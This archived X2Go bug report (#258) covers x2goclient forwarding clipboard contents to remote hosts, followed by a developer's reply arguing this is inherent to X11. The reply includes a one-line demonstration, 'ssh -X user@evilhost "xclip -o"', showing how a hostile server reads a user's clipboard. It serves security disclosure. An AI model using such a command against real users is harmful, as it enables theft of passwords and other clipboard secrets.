X2Go Bug report logs - #258
SECURITY: x2goclient allows clipboard sniffing

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Package: x2goclient; Maintainer for x2goclient is X2Go Developers <x2go-dev@lists.x2go.org>; Source for x2goclient is src:x2goclient.

Reported by: Christoph Anton Mitterer <calestyo@scientia.net>

Date: Mon, 1 Jul 2013 02:48:02 UTC

Severity: grave

Tags: pending, security

Fixed in version 4.0.2.1

Done: Mike Gabriel <mike.gabriel@das-netzwerkteam.de>

Bug is archived. No further changes may be made.

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From: Alexander Wuerstlein <snalwuer@cip.informatik.uni-erlangen.de>
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On 13-07-01 04:56, Christoph Anton Mitterer <calestyo@scientia.net> wrote:
> Package: x2goclient
> Severity: grave
> Tags: security
> 
> Hi.
> 
> From: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=714588
> 
> 
> It seems that per default (and I even found no way to disable it)
> x2goclient (and perhaps other related tools?) transmit the content of
> the clipboard to the remote host.

Yes, other related tools like X11. x2go is basically just a faster
version of the traditional xforwarding. In X11 every client can always
access the clipboard/selection/etc., so you will also have the same
security problems (by design). E.g. 'ssh -X user@evilhost "xclip -o"'
demonstrates this.

> As this may easily contain passwords or other sensitive information,
> this is a extremely critical hole.

I disagree, this is not a hole at all, it works as intended. Its just
that users are often not educated about the implications of passing
around passwords via the clipboard etc.

But I concur that the ability to switch off clipboard/selection/...
forwarding in the x2goagent/x2goclient would be nice to have. Patches
are of course always welcome.



Ciao,

Alexander Wuerstlein.

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